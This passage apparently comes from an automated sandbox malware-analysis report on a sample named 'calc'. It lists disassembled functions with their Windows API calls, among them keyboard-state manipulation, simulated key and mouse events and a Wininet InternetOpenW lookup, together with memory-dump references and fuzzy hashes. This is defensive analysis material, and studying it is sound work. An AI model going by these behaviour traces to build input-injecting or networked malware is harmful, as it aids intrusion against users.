    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessagePost$KeyboardState$Parent
    • String ID:
    • API String ID: 87235514-0
    • Opcode ID: aa6c97a283ce8bd674bd44b473ae256e80a0dc0e0aab8d9900478a21e71fb197
    • Instruction ID: 9d733bec55df1b0aa4eacf9c07561fd85a6c8c2a14a1c19906ee9494bf923349
    • Opcode Fuzzy Hash: aa6c97a283ce8bd674bd44b473ae256e80a0dc0e0aab8d9900478a21e71fb197
    • Instruction Fuzzy Hash: 8E51E8305147986AEB318B78CC45BEF7FE49F45340F08445AFAE8CA292C6B9D9C1DB58
    Function 004113CC Relevance: 12.2, APIs: 8, Instructions: 169windowCOMMON
    Download Yara Rule
    APIs
    • GetParent.USER32(?), ref: 004113F4
    • GetKeyboardState.USER32(?,?,00000000), ref: 00411409
    • SetKeyboardState.USER32(?,?,00000000), ref: 00411467
    • PostMessageW.USER32(?,00000100,0000005B,?), ref: 00411493
    • PostMessageW.USER32(?,00000100,00000010,?), ref: 004114B2
    • PostMessageW.USER32(?,00000100,00000010,?), ref: 004114D1
    • PostMessageW.USER32(?,00000100,00000011,?), ref: 004114F0
    • PostMessageW.USER32(?,00000100,00000012,?), ref: 00411524
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessagePost$KeyboardState$Parent
    • String ID:
    • API String ID: 87235514-0
    • Opcode ID: e78c36a590626a1166a9156384a0d936dda4f0eeaa9d608877eeb85747e89315
    • Instruction ID: 0f22143f38cef481d98d1135c44dc31a521d86ced055d74272154e822a439295
    • Opcode Fuzzy Hash: e78c36a590626a1166a9156384a0d936dda4f0eeaa9d608877eeb85747e89315
    • Instruction Fuzzy Hash: 0D51397050035CBDEB224B788C84BFF7BB5EB40744F04046EE699961A2C6B89EC1DB28
    Function 00406535 Relevance: 12.1, APIs: 8, Instructions: 116COMMON
    Download Yara Rule
    APIs
    • GetSysColor.USER32(0000000F), ref: 00406559
    • GetSysColor.USER32(00000005), ref: 004065D7
    • GetSysColor.USER32(00000005), ref: 004065FB
    • GetPixel.GDI32(00000000,00000000,00000000), ref: 0040661D
    • SetTextColor.GDI32(?,?), ref: 0040663C
    • SetBkMode.GDI32(00000000,00000001), ref: 0040664F
    • GetStockObject.GDI32(00000005), ref: 00406657
    • SetBkColor.GDI32(?,00000000), ref: 00406664
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Color$ModeObjectPixelStockText
    • String ID:
    • API String ID: 3335329649-0
    • Opcode ID: f119085c45a49c7da0f7156818a14affc38ae8097efda252f98faf3e6f8f3136
    • Instruction ID: cffc45891000b0bcc1ff650ca7b895da0922e0ac8dd974e18ebca7e1b207af5a
    • Opcode Fuzzy Hash: f119085c45a49c7da0f7156818a14affc38ae8097efda252f98faf3e6f8f3136
    • Instruction Fuzzy Hash: FA41E830104355BBDB345F289C5876E3B959F05321F16053BF563612E6DB3ACC669B0A
    Function 00417905 Relevance: 12.0, APIs: 8, Instructions: 33COMMON
    Download Yara Rule
    APIs
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ClearVariant
    • String ID:
    • API String ID: 1473721057-0
    • Opcode ID: 7515e139fb4bb4e1bd99acf1861c07cc37c553c4cb4bd1ee9d3f4938d929fa9e
    • Instruction ID: fff72cd69ca82f6953f7f206462b4c09a392314aa2bc16a66ee90bf446161d79
    • Opcode Fuzzy Hash: 7515e139fb4bb4e1bd99acf1861c07cc37c553c4cb4bd1ee9d3f4938d929fa9e
    • Instruction Fuzzy Hash: 6DF0A9B6400B49AADB31E7B9DC48BC7B7EC6F85200F054D2AD696C3525DA78F189CB14
    Function 004092FB Relevance: 10.9, APIs: 7, Instructions: 428COMMON
    Download Yara Rule
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ClearVariant
    • String ID:
    • API String ID: 1473721057-0
    • Opcode ID: 51004693d88b0729752c3e2e6fd21d15dec76c629f8c13dc28b7f9a39be731a4
    • Instruction ID: 01edab73392a80d4103d92ff6f361a6a440f26f9ffb4b8913aacefb8a2784695
    • Opcode Fuzzy Hash: 51004693d88b0729752c3e2e6fd21d15dec76c629f8c13dc28b7f9a39be731a4
    • Instruction Fuzzy Hash: F3021476900208EFCF119F94C8409EE7BB5EF49314F15816AFA18B73A2C339AD51DB99
    Function 00409A3B Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 225COMMON
    Download Yara Rule
    APIs
    • GetClientRect.USER32(?,?), ref: 00409A8D
    • GetWindowRect.USER32(?,?), ref: 00409ABC
    • GetClientRect.USER32(00000400,?), ref: 00409B03
    • GetWindowRect.USER32(?,?), ref: 00409B4D
    • ScreenToClient.USER32(00000400,?), ref: 00409B72
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Rect$Client$Window$Screen
    • String ID: `
    • API String ID: 1296646539-2679148245
    • Opcode ID: 979626e2387a37fc5672180711e3e3b7af98162ae0c42364082c39fbb8a1b67d
    • Instruction ID: 5c22e1647285930d546eea6ccc3219bc4b63db07404db36e62ebad6edb330b87
    • Opcode Fuzzy Hash: 979626e2387a37fc5672180711e3e3b7af98162ae0c42364082c39fbb8a1b67d
    • Instruction Fuzzy Hash: 23917E79A00649EBDB14CFA8C5846AEFBF1FF48304F14452AD992B37A1D734AE40CB58
    Function 004505A6 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172COMMON
    Download Yara Rule
    APIs
    • GetStartupInfoA.KERNEL32(?), ref: 00450603
    • GetFileType.KERNEL32(?), ref: 004506AD
    • GetStdHandle.KERNEL32(-000000F6), ref: 0045072E
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: FileHandleInfoStartupType
    • String ID: dH
    • API String ID: 2461013171-846699462
    • Opcode ID: 9a7947f9ad82b782c8fe595840faaf87bc5a92e1700e0f2174f3b348224a7055
    • Instruction ID: 571e7180ef913d33cbf7ce2b326ee305126e63e0fb4f845115fe28abbe455c90
    • Opcode Fuzzy Hash: 9a7947f9ad82b782c8fe595840faaf87bc5a92e1700e0f2174f3b348224a7055
    • Instruction Fuzzy Hash: D551E8791047418FC7248F28D8847267BE4FB55326F184A6ED9A6C72E3D738E85DCB09
    Function 0042B114 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 156COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 0042FE9D: LoadLibraryA.KERNEL32(Wininet.dll,0042A74E), ref: 0042FEA8
      • Part of subcall function 0042FE9D: GetProcAddress.KERNEL32(00000000,InternetOpenW), ref: 0042FEBA
    • FreeLibrary.KERNEL32(00000000,?,00000003), ref: 0042B198
    • FreeLibrary.KERNEL32(?,?,00000003), ref: 0042B2A5
    • FreeLibrary.KERNEL32(?,?,00000003), ref: 0042B2AF
    • FreeLibrary.KERNEL32(00000000,?,00000003), ref: 0042B2B9
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Library$Free$AddressLoadProc
    • String ID: <local>$Wu
    • API String ID: 1386263645-981067430
    • Opcode ID: 32da04e832618fddd7a87dad8587297ad2d2ab068d8d49f6a0b5dfce77d14965
    • Instruction ID: 88fc05d2817ab47fd5b179a8d744bb7f0cbe5fd8e9c3f9efe6eed6e79e075052
    • Opcode Fuzzy Hash: 32da04e832618fddd7a87dad8587297ad2d2ab068d8d49f6a0b5dfce77d14965
    • Instruction Fuzzy Hash: 9F517D31A00239EBDF25DBA4EC89EEEB778FF09740F904566E414A2250C7346A54CBE9
    Function 0042BE53 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 149COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 0042EFD5: GetForegroundWindow.USER32(?), ref: 0042EFDB
      • Part of subcall function 0042EFD5: GetWindowRect.USER32(00000000,?), ref: 0042EFED
    • GetDesktopWindow.USER32 ref: 0042BE7A
    • GetWindowRect.USER32(00000000), ref: 0042BE81
    • mouse_event.USER32(00008001,?,00000001,00000000,00000000), ref: 0042BEB5
      • Part of subcall function 00415F9F: Sleep.KERNEL32(000000FA,00479E08,?,?,00420420,00479E08,00479E08,00000001,00000000,?,?,0042018E,?,00479E08), ref: 0041602B
    • GetCursorPos.USER32(?), ref: 0042BEDD
    • mouse_event.USER32(00008001,?,0000000B,00000000,00000000), ref: 0042BF9E
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
    • String ID: d
    • API String ID: 4137160315-2564639436
    • Opcode ID: a7507ff59d1f84e5e95a0c053b09d558c46e193066ca54b7beac4dc000bdcc94
    • Instruction ID: 1eca856535500a1089d069f95856a78e939d7b0643273a579d4f7235f62430b1
    • Opcode Fuzzy Hash: a7507ff59d1f84e5e95a0c053b09d558c46e193066ca54b7beac4dc000bdcc94
    • Instruction Fuzzy Hash: 004117727007269BDF208FA9AD84BAE73A5EB44304F52853BF914D7281D778DC818BD8
    Function 0040BD45 Relevance: 10.6, APIs: 7, Instructions: 144windowCOMMON
    Download Yara Rule
    APIs
    • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040BDCA
    • SendMessageW.USER32(?,0000104D,00000000,00000005), ref: 0040BE1A
    • SendMessageW.USER32(?,00001008,00000001,?), ref: 0040BEF5
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend
    • String ID:
    • API String ID: 3850602802-0
    • Opcode ID: e9270b8b6bc2db239543e4602c2bc6c82faa1196c29a7e750817dcbcaf1047de
    • Instruction ID: c9dee8523dbd2f001bbba7f2df5488a07f0ddf073e31d2c7163cdd95c91364d6
    • Opcode Fuzzy Hash: e9270b8b6bc2db239543e4602c2bc6c82faa1196c29a7e750817dcbcaf1047de
    • Instruction Fuzzy Hash: EA514B71900218AFDF11DF94CD41BEE7BB5EF09314F1041A6EA10BB2A1D774AA45DB98
    Function 00420ACC Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 133COMMON
    Download Yara Rule
    APIs
    • CharUpperBuffW.USER32(00000000,?,@GUI_CTRLID,?,00479E08,?,?,0042018E,?,00479E08,00479E08,00479E08), ref: 00420B68
    • CharUpperBuffW.USER32(004203AA,00479E08,@GUI_WINHANDLE,?,0047BD20,00000000,?), ref: 00420BA5
    • CharUpperBuffW.USER32(?,?,@GUI_CTRLHANDLE,?,0047BD20,004203AA,?), ref: 00420BE2
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: BuffCharUpper
    • String ID: @GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE
    • API String ID: 3964851224-758534266
    • Opcode ID: dcddbf6780367992d8c96736425c50bb8195540fba5c9a78a0d50570f2b70651
    • Instruction ID: 0670a5c02a3ad987be2aa7fb96b886d40dde11566c37022459f53628aa54ba14
    • Opcode Fuzzy Hash: dcddbf6780367992d8c96736425c50bb8195540fba5c9a78a0d50570f2b70651
    • Instruction Fuzzy Hash: 8941B67194012CABCF21EBA6DD45AEE7BB9EF04304F24016BF805B7122CB796D46DB64
    Function 00409F29 Relevance: 10.6, APIs: 7, Instructions: 126windowCOMMON
    Download Yara Rule
    APIs
    • ShowWindow.USER32(?,00000000), ref: 00409FCA
    • ShowWindow.USER32(?,00000005,?,00000000), ref: 00409FD0
    • SetFocus.USER32(?,?,00000000), ref: 00409FDC
    • SendMessageW.USER32(?,00002001,00000000,?), ref: 00409FF9
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ShowWindow$FocusMessageSend
    • String ID:
    • API String ID: 3348785246-0
    • Opcode ID: 2912cf3291633da9375a316781e2fed9097f96e5693141c9d4bec574df01d53a
    • Instruction ID: 1f5e4ee820ca1ad8d5727451a42756ae35113e362d004ced1041d4ab6605815b
    • Opcode Fuzzy Hash: 2912cf3291633da9375a316781e2fed9097f96e5693141c9d4bec574df01d53a
    • Instruction Fuzzy Hash: A641D73140030CBBDF319F24CC89E6E7BA4AB45351F24453BFA42FA2E1D679ED519A4A
    Function 0040BBDB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 120windowCOMMON
    Download Yara Rule
    APIs
    • SendMessageW.USER32(00000000,00001036,00000000,?), ref: 0040BC75
    • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 0040BC8B
    • SendMessageW.USER32(?,00001057,00000000,?), ref: 0040BCE9
    • SendMessageW.USER32(?,00001061,00000000,0000000F), ref: 0040BD1B
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend$Window
    • String ID: -----$SysListView32
    • API String ID: 2326795674-3975388722
    • Opcode ID: 1c9563f93ac8fc5db84832b05a3869965d429622ca7a67e34f73cff828012fcc
    • Instruction ID: ec6a700272040e40e92a54c56fa040193a127b838e178095dd06ae8a84f88c0f
    • Opcode Fuzzy Hash: 1c9563f93ac8fc5db84832b05a3869965d429622ca7a67e34f73cff828012fcc
    • Instruction Fuzzy Hash: 86415871800209EBDF219F68C845ADE7BB9EB19358F01016BF948B6292C779D944CF98
    Function 0040B7B2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80windowCOMMON
    Download Yara Rule
    APIs
    • GetMenuItemInfoW.USER32(?,?,00000000,0000002C), ref: 0040B82D
    • IsMenu.USER32(?), ref: 0040B840
    • CreatePopupMenu.USER32 ref: 0040B84A
    • InsertMenuItemW.USER32(?,?,00000001,0000002C), ref: 0040B880
    • DrawMenuBar.USER32(?), ref: 0040B888
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Menu$Item$CreateDrawInfoInsertPopup
    • String ID: ,
    • API String ID: 2727366139-3772416878
    • Opcode ID: 5bda6680cf02f1709b1c8040744c8a64ce94f6e4f8689a38d774f8be7eb7a155
    • Instruction ID: 73ffb52debe41e485c73ce9743448b5bc55771eeef5cff0f8f225e8659b42da2
    • Opcode Fuzzy Hash: 5bda6680cf02f1709b1c8040744c8a64ce94f6e4f8689a38d774f8be7eb7a155
    • Instruction Fuzzy Hash: DF318C76900208EFDF10DF54D984ADABBB9FF48304F10816AE911AB3A1D735ED05DB98
    Function 0040B225 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68windowCOMMON
    Download Yara Rule
    APIs
    • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 0040B28B
    • SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0040B29A
    • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0040B2A5
    • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 0040B2B4
    • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 0040B2C0
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
